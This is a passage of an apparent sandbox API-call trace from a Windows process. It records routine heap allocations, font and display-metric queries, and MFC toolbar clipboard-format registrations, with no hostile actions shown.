hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.873] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x19) returned 0x202e230 [0024.873] GetLastError () returned 0x0 [0024.873] SetLastError (dwErrCode=0x0) [0024.873] GetLastError () returned 0x0 [0024.873] SetLastError (dwErrCode=0x0) [0024.873] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e230 | out: hHeap=0x2020000) returned 1 [0024.873] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1b) returned 0x202e230 [0024.873] GetLastError () returned 0x0 [0024.873] SetLastError (dwErrCode=0x0) [0024.873] GetLastError () returned 0x0 [0024.873] SetLastError (dwErrCode=0x0) [0024.873] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e230 | out: hHeap=0x2020000) returned 1 [0024.873] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1c) returned 0x202e230 [0024.873] GetLastError () returned 0x0 [0024.873] SetLastError (dwErrCode=0x0) [0024.873] GetLastError () returned 0x0 [0024.873] SetLastError (dwErrCode=0x0) [0024.873] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e230 | out: hHeap=0x2020000) returned 1 [0024.873] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1c) returned 0x202e230 [0024.873] GetLastError () returned 0x0 [0024.874] SetLastError (dwErrCode=0x0) [0024.874] GetLastError () returned 0x0 [0024.874] SetLastError (dwErrCode=0x0) [0024.874] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e230 | out: hHeap=0x2020000) returned 1 [0024.874] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x23) returned 0x2021738 [0024.874] GetLastError () returned 0x0 [0024.874] SetLastError (dwErrCode=0x0) [0024.874] GetLastError () returned 0x0 [0024.874] SetLastError (dwErrCode=0x0) [0024.874] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.874] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1f) returned 0x202e230 [0024.874] GetLastError () returned 0x0 [0024.874] SetLastError (dwErrCode=0x0) [0024.874] GetLastError () returned 0x0 [0024.874] SetLastError (dwErrCode=0x0) [0024.874] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e230 | out: hHeap=0x2020000) returned 1 [0024.874] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x20) returned 0x202e230 [0024.874] GetLastError () returned 0x0 [0024.874] SetLastError (dwErrCode=0x0) [0024.874] GetLastError () returned 0x0 [0024.874] SetLastError (dwErrCode=0x0) [0024.874] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e230 | out: hHeap=0x2020000) returned 1 [0024.874] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x22) returned 0x202ee30 [0024.874] GetLastError () returned 0x0 [0024.874] SetLastError (dwErrCode=0x0) [0024.874] GetLastError () returned 0x0 [0024.875] SetLastError (dwErrCode=0x0) [0024.875] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202ee30 | out: hHeap=0x2020000) returned 1 [0024.875] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x20) returned 0x202e230 [0024.875] GetLastError () returned 0x0 [0024.875] SetLastError (dwErrCode=0x0) [0024.875] GetLastError () returned 0x0 [0024.875] SetLastError (dwErrCode=0x0) [0024.875] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e230 | out: hHeap=0x2020000) returned 1 [0024.875] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x19) returned 0x202e230 [0024.875] GetLastError () returned 0x0 [0024.875] SetLastError (dwErrCode=0x0) [0024.875] GetLastError () returned 0x0 [0024.875] SetLastError (dwErrCode=0x0) [0024.875] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e230 | out: hHeap=0x2020000) returned 1 [0024.875] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1a) returned 0x202e230 [0024.875] GetLastError () returned 0x0 [0024.875] SetLastError (dwErrCode=0x0) [0024.875] GetLastError () returned 0x0 [0024.875] SetLastError (dwErrCode=0x0) [0024.875] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e230 | out: hHeap=0x2020000) returned 1 [0024.875] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x22) returned 0x202ee30 [0024.875] GetLastError () returned 0x0 [0024.875] SetLastError (dwErrCode=0x0) [0024.875] GetLastError () returned 0x0 [0024.875] SetLastError (dwErrCode=0x0) [0024.875] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202ee30 | out: hHeap=0x2020000) returned 1 [0024.875] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x19) returned 0x202e230 [0024.875] GetLastError () returned 0x0 [0024.876] SetLastError (dwErrCode=0x0) [0024.876] GetLastError () returned 0x0 [0024.876] SetLastError (dwErrCode=0x0) [0024.876] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e230 | out: hHeap=0x2020000) returned 1 [0024.876] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x2021738 [0024.876] GetLastError () returned 0x0 [0024.876] SetLastError (dwErrCode=0x0) [0024.876] GetLastError () returned 0x0 [0024.876] SetLastError (dwErrCode=0x0) [0024.876] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.876] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x15) returned 0x2021738 [0024.876] GetLastError () returned 0x0 [0024.876] SetLastError (dwErrCode=0x0) [0024.876] GetLastError () returned 0x0 [0024.876] SetLastError (dwErrCode=0x0) [0024.876] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.876] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x16) returned 0x2021738 [0024.876] GetLastError () returned 0x0 [0024.876] SetLastError (dwErrCode=0x0) [0024.876] GetLastError () returned 0x0 [0024.876] SetLastError (dwErrCode=0x0) [0024.876] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.876] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x17) returned 0x2021738 [0024.876] GetLastError () returned 0x0 [0024.876] SetLastError (dwErrCode=0x0) [0024.876] GetLastError () returned 0x0 [0024.877] SetLastError (dwErrCode=0x0) [0024.877] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.877] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x19) returned 0x202e230 [0024.877] GetLastError () returned 0x0 [0024.877] SetLastError (dwErrCode=0x0) [0024.877] GetLastError () returned 0x0 [0024.877] SetLastError (dwErrCode=0x0) [0024.877] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e230 | out: hHeap=0x2020000) returned 1 [0024.877] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1a) returned 0x202e230 [0024.877] GetLastError () returned 0x0 [0024.877] SetLastError (dwErrCode=0x0) [0024.877] GetLastError () returned 0x0 [0024.877] SetLastError (dwErrCode=0x0) [0024.877] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e230 | out: hHeap=0x2020000) returned 1 [0024.877] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x16) returned 0x2021738 [0024.877] GetLastError () returned 0x0 [0024.877] SetLastError (dwErrCode=0x0) [0024.877] GetLastError () returned 0x0 [0024.877] SetLastError (dwErrCode=0x0) [0024.877] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.877] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x17) returned 0x2021738 [0024.877] GetLastError () returned 0x0 [0024.877] SetLastError (dwErrCode=0x0) [0024.877] GetLastError () returned 0x0 [0024.877] SetLastError (dwErrCode=0x0) [0024.877] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.878] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x19) returned 0x202e230 [0024.878] GetLastError () returned 0x0 [0024.878] SetLastError (dwErrCode=0x0) [0024.878] GetLastError () returned 0x0 [0024.878] SetLastError (dwErrCode=0x0) [0024.878] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e230 | out: hHeap=0x2020000) returned 1 [0024.878] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1a) returned 0x202e230 [0024.878] GetLastError () returned 0x0 [0024.878] SetLastError (dwErrCode=0x0) [0024.878] GetLastError () returned 0x0 [0024.878] SetLastError (dwErrCode=0x0) [0024.878] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e230 | out: hHeap=0x2020000) returned 1 [0024.878] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x17) returned 0x2021738 [0024.878] GetLastError () returned 0x0 [0024.878] SetLastError (dwErrCode=0x0) [0024.878] GetLastError () returned 0x0 [0024.878] SetLastError (dwErrCode=0x0) [0024.878] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.878] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1d) returned 0x202e230 [0024.878] GetLastError () returned 0x0 [0024.878] SetLastError (dwErrCode=0x0) [0024.878] GetLastError () returned 0x0 [0024.878] SetLastError (dwErrCode=0x0) [0024.878] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e230 | out: hHeap=0x2020000) returned 1 [0024.878] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x2021738 [0024.878] GetLastError () returned 0x0 [0024.879] SetLastError (dwErrCode=0x0) [0024.879] GetLastError () returned 0x0 [0024.879] SetLastError (dwErrCode=0x0) [0024.879] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.879] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x2021738 [0024.879] GetLastError () returned 0x0 [0024.879] SetLastError (dwErrCode=0x0) [0024.879] GetLastError () returned 0x0 [0024.879] SetLastError (dwErrCode=0x0) [0024.879] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.879] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x19) returned 0x202e230 [0024.879] GetLastError () returned 0x0 [0024.879] SetLastError (dwErrCode=0x0) [0024.879] GetLastError () returned 0x0 [0024.879] SetLastError (dwErrCode=0x0) [0024.879] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e230 | out: hHeap=0x2020000) returned 1 [0024.879] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x17) returned 0x2021738 [0024.879] GetLastError () returned 0x0 [0024.879] SetLastError (dwErrCode=0x0) [0024.879] GetLastError () returned 0x0 [0024.879] SetLastError (dwErrCode=0x0) [0024.879] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.879] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x16) returned 0x2021738 [0024.879] GetLastError () returned 0x0 [0024.879] SetLastError (dwErrCode=0x0) [0024.879] GetLastError () returned 0x0 [0024.879] SetLastError (dwErrCode=0x0) [0024.879] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.880] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1f) returned 0x202e230 [0024.880] GetLastError () returned 0x0 [0024.880] SetLastError (dwErrCode=0x0) [0024.880] GetLastError () returned 0x0 [0024.880] SetLastError (dwErrCode=0x0) [0024.880] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e230 | out: hHeap=0x2020000) returned 1 [0024.880] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1e) returned 0x202e230 [0024.880] GetLastError () returned 0x0 [0024.880] SetLastError (dwErrCode=0x0) [0024.880] GetLastError () returned 0x0 [0024.880] SetLastError (dwErrCode=0x0) [0024.880] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e230 | out: hHeap=0x2020000) returned 1 [0024.880] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1f) returned 0x202e230 [0024.880] GetLastError () returned 0x0 [0024.880] SetLastError (dwErrCode=0x0) [0024.880] GetLastError () returned 0x0 [0024.880] SetLastError (dwErrCode=0x0) [0024.880] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e230 | out: hHeap=0x2020000) returned 1 [0024.880] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x17) returned 0x2021738 [0024.880] GetLastError () returned 0x0 [0024.880] SetLastError (dwErrCode=0x0) [0024.880] GetLastError () returned 0x0 [0024.880] SetLastError (dwErrCode=0x0) [0024.880] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.880] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x17) returned 0x2021738 [0024.880] GetLastError () returned 0x0 [0024.881] SetLastError (dwErrCode=0x0) [0024.881] GetLastError () returned 0x0 [0024.881] SetLastError (dwErrCode=0x0) [0024.881] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.881] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x2021738 [0024.881] GetLastError () returned 0x0 [0024.881] SetLastError (dwErrCode=0x0) [0024.881] GetLastError () returned 0x0 [0024.881] SetLastError (dwErrCode=0x0) [0024.881] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.881] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1a) returned 0x202e230 [0024.881] GetLastError () returned 0x0 [0024.881] SetLastError (dwErrCode=0x0) [0024.881] GetLastError () returned 0x0 [0024.881] SetLastError (dwErrCode=0x0) [0024.881] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e230 | out: hHeap=0x2020000) returned 1 [0024.881] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1b) returned 0x202e230 [0024.881] GetLastError () returned 0x0 [0024.881] SetLastError (dwErrCode=0x0) [0024.881] GetLastError () returned 0x0 [0024.881] SetLastError (dwErrCode=0x0) [0024.881] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e230 | out: hHeap=0x2020000) returned 1 [0024.881] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x23) returned 0x202ee30 [0024.881] GetLastError () returned 0x0 [0024.881] SetLastError (dwErrCode=0x0) [0024.881] GetLastError () returned 0x0 [0024.882] SetLastError (dwErrCode=0x0) [0024.882] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202ee30 | out: hHeap=0x2020000) returned 1 [0024.882] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x23) returned 0x202ee30 [0024.882] GetLastError () returned 0x0 [0024.882] SetLastError (dwErrCode=0x0) [0024.882] GetLastError () returned 0x0 [0024.882] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x24) returned 0x202ee30 [0024.882] GetLastError () returned 0x0 [0024.882] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x20) returned 0x202e230 [0024.882] GetLastError () returned 0x0 [0024.882] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x21) returned 0x202ee30 [0024.882] GetLastError () returned 0x0 [0024.882] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x2021738 [0024.882] GetLastError () returned 0x0 [0024.882] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x19) returned 0x202e230 [0024.882] GetLastError () returned 0x0 [0024.882] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x19) returned 0x202e230 [0024.882] GetLastError () returned 0x0 [0024.882] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1a) returned 0x202e230 [0024.882] GetLastError () returned 0x0 [0024.882] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1e) returned 0x202e230 [0024.883] GetLastError () returned 0x0 [0024.883] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1f) returned 0x202e230 [0024.883] GetLastError () returned 0x0 [0024.883] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1d) returned 0x202e230 [0024.883] GetLastError () returned 0x0 [0024.883] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1e) returned 0x202e230 [0024.883] GetLastError () returned 0x0 [0024.883] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1e) returned 0x202e230 [0024.883] GetLastError () returned 0x0 [0024.883] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1f) returned 0x202e230 [0024.883] GetLastError () returned 0x0 [0024.883] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x23) returned 0x202ee30 [0024.883] GetLastError () returned 0x0 [0024.883] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x24) returned 0x202ee30 [0024.883] GetLastError () returned 0x0 [0024.883] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x20) returned 0x202e230 [0024.883] GetLastError () returned 0x0 [0024.883] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1a) returned 0x202e230 [0024.883] GetLastError () returned 0x0 [0024.883] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1b) returned 0x202e230 [0024.883] GetLastError () returned 0x0 [0024.884] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1b) returned 0x202e230 [0024.884] GetLastError () returned 0x0 [0024.884] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1c) returned 0x202e230 [0024.884] GetLastError () returned 0x0 [0024.884] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1d) returned 0x202e230 [0024.884] GetLastError () returned 0x0 [0024.884] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1e) returned 0x202e230 [0024.884] GetLastError () returned 0x0 [0024.884] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1a) returned 0x202e230 [0024.884] GetLastError () returned 0x0 [0024.884] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1b) returned 0x202e230 [0024.884] GetLastError () returned 0x0 [0024.884] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1b) returned 0x202e230 [0024.884] GetLastError () returned 0x0 [0024.884] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1c) returned 0x202e230 [0024.884] GetLastError () returned 0x0 [0024.884] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x2021738 [0024.884] GetLastError () returned 0x0 [0024.884] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x26) returned 0x202ee30 [0024.884] GetLastError () returned 0x0 [0024.884] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x16) returned 0x2021738 [0024.884] GetLastError () returned 0x0 [0024.885] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x22) returned 0x202ee30 [0024.885] GetLastError () returned 0x0 [0024.885] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x25) returned 0x202ee30 [0024.885] GetLastError () returned 0x0 [0024.885] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x16) returned 0x2021738 [0024.885] GetLastError () returned 0x0 [0024.885] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1d) returned 0x202e230 [0024.885] GetLastError () returned 0x0 [0024.885] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x19) returned 0x202e230 [0024.885] GetLastError () returned 0x0 [0024.885] lstrcpyA (in: lpString1=0x18fe00, lpString2="Segoe UI" | out: lpString1="Segoe UI") returned="Segoe UI" [0024.885] CreateFontIndirectA (lplf=0x18fde4) returned 0x40a087d [0024.885] CreateFontIndirectA (lplf=0x18fde4) returned 0x40a0873 [0024.885] SystemParametersInfoA (in: uiAction=0x29, uiParam=0x154, pvParam=0x18fb34, fWinIni=0x0 | out: pvParam=0x18fb34) returned 1 [0024.885] CreateFontIndirectA (lplf=0x18fde4) returned 0x20a087c [0024.886] CreateFontIndirectA (lplf=0x18fde4) returned 0x30a0880 [0024.886] CreateFontIndirectA (lplf=0x18fde4) returned 0x230a0829 [0024.886] GetSystemMetrics (nIndex=72) returned 15 [0024.886] lstrcpyA (in: lpString1=0x18fe00, lpString2="Marlett" | out: lpString1="Marlett") returned="Marlett" [0024.886] CreateFontIndirectA (lplf=0x18fde4) returned 0x390a024a [0024.886] GetStockObject (i=17) returned 0x18a0025 [0024.886] GetObjectA (in: h=0x18a0025, c=60, pv=0x18fde4 | out: pv=0x18fde4) returned 60 [0024.886] lstrcpyA (in: lpString1=0x18fe00, lpString2="Arial" | out: lpString1="Arial") returned="Arial" [0024.886] CreateFontIndirectA (lplf=0x18fde4) returned 0x120a0831 [0024.886] CreateFontIndirectA (lplf=0x18fde4) returned 0x260a0827 [0024.887] GetStockObject (i=17) returned 0x18a0025 [0024.887] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x204) returned 0x202f618 [0024.887] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1c) returned 0x202e230 [0024.887] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x34) returned 0x20214d0 [0024.887] GetObjectA (in: h=0x18a0025, c=60, pv=0x18fde4 | out: pv=0x18fde4) returned 60 [0024.887] CreateFontIndirectA (lplf=0x18fde4) returned 0xf0a0830 [0024.887] CreateFontIndirectA (lplf=0x18fde4) returned 0xdd0a0838 [0024.887] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x7c) returned 0x202f828 [0024.887] GetWindowDC (hWnd=0x0) returned 0x1c010243 [0024.887] SelectObject (hdc=0x1c010243, h=0x40a087d) returned 0x18a002e [0024.887] GetTextMetricsA (in: hdc=0x1c010243, lptm=0x18fa9c | out: lptm=0x18fa9c) returned 1 [0024.888] SelectObject (hdc=0x1c010243, h=0x120a0831) returned 0x40a087d [0024.888] GetTextMetricsA (in: hdc=0x1c010243, lptm=0x18fa9c | out: lptm=0x18fa9c) returned 1 [0024.892] SelectObject (hdc=0x1c010243, h=0x18a002e) returned 0x120a0831 [0024.892] ReleaseDC (hWnd=0x0, hDC=0x1c010243) returned 1 [0024.892] DeleteObject (ho=0x18a0025) returned 1 [0024.893] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x20216e8 | out: hHeap=0x2020000) returned 1 [0024.893] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021448 | out: hHeap=0x2020000) returned 1 [0024.893] ReleaseDC (hWnd=0x0, hDC=0x19010846) returned 1 [0024.893] GetSystemMetrics (nIndex=49) returned 16 [0024.893] GetSystemMetrics (nIndex=50) returned 16 [0024.893] SetRectEmpty (in: lprc=0x57b884 | out: lprc=0x57b884) returned 1 [0024.893] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x427667, dwData=0x57b884) returned 1 [0024.893] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x18fd68 | out: lpmi=0x18fd68) returned 1 [0024.893] CopyRect (in: lprcDst=0x18fd90, lprcSrc=0x18fd7c | out: lprcDst=0x18fd90) returned 1 [0024.893] SystemParametersInfoA (in: uiAction=0x1002, uiParam=0x0, pvParam=0x57b8b0, fWinIni=0x0 | out: pvParam=0x57b8b0) returned 1 [0024.893] SystemParametersInfoA (in: uiAction=0x1012, uiParam=0x0, pvParam=0x57b8b4, fWinIni=0x0 | out: pvParam=0x57b8b4) returned 1 [0024.893] SystemParametersInfoA (in: uiAction=0x100a, uiParam=0x0, pvParam=0x57b8c4, fWinIni=0x0 | out: pvParam=0x57b8c4) returned 1 [0024.893] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.894] RegisterClipboardFormatA (lpszFormat="AFX_WM_CHANGE_CURRENT_FOLDER") returned 0xc13f [0024.894] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x13) returned 0x20216e8 [0024.894] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.894] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x13) returned 0x2021708 [0024.894] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.894] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x14) returned 0x2470060 [0024.895] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.895] RtlReAllocateHeap (Heap=0x2020000, Flags=0x0, Ptr=0x20211f8, Size=0x100) returned 0x202f8b0 [0024.895] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x13) returned 0x2470080 [0024.895] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.895] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x13) returned 0x24700a0 [0024.895] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.895] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x13) returned 0x24700c0 [0024.895] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.896] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x14) returned 0x24700e0 [0024.896] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.896] RegisterClipboardFormatA (lpszFormat="AFX_WM_PROPERTYCHANGED") returned 0xc059 [0024.896] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x13) returned 0x2470100 [0024.896] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.896] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1c) returned 0x202e258 [0024.896] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.896] RegisterClipboardFormatA (lpszFormat="TOOLBAR_POPUPMENU") returned 0xc13c [0024.897] RegisterClipboardFormatA (lpszFormat="TOOLBAR_CUSTOMIZE") returned 0xc13b [0024.897] RegisterClipboardFormatA (lpszFormat="TOOLBAR_CREATE") returned 0xc13a [0024.897] RegisterClipboardFormatA (lpszFormat="TOOLBAR_DELETE") returned 0xc139 [0024.897] RegisterClipboardFormatA (lpszFormat="TOOLBAR_CUSTOMIZEHELP") returned 0xc138 [0024.897] RegisterClipboardFormatA (lpszFormat="TOOLBAR_RESETTOOLBAR") returned 0xc137 [0024.897] RegisterClipboardFormatA (lpszFormat="TOOLBAR_RESETMENU") returned 0xc136 [0024.897] RegisterClipboardFormatA (lpszFormat="TOOLBAR_SHOWREGULARMENU") returned 0xc13d [0024.897] RegisterClipboardFormatA (lpszFormat="TOOLBAR_RESETCONTEXTMENU") returned 0xc141 [0024.897] RegisterClipboardFormatA (lpszFormat="TOOLBAR_RESETKEYBAORD") returned 0xc142 [0024.897] RegisterClipboardFormatA (lpszFormat="TOOLBAR_RESETRPROMPT") returned 0xc143 [0024.897] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.898] GetProfileIntA (lpAppName="windows", lpKeyName="DragMinDist", nDefault=2) returned 0x2 [0024.898] GetProfileIntA (lpAppName="windows", lpKeyName="DragDelay", nDefault=200) returned 0xc8 [0024.898] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.898] CreateCompatibleDC (hdc=0x0) returned 0x63010855 [0024.898] CreateCompatibleDC (hdc=0x0) returned 0xd2010837 [0024.899] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.899] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.899] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, 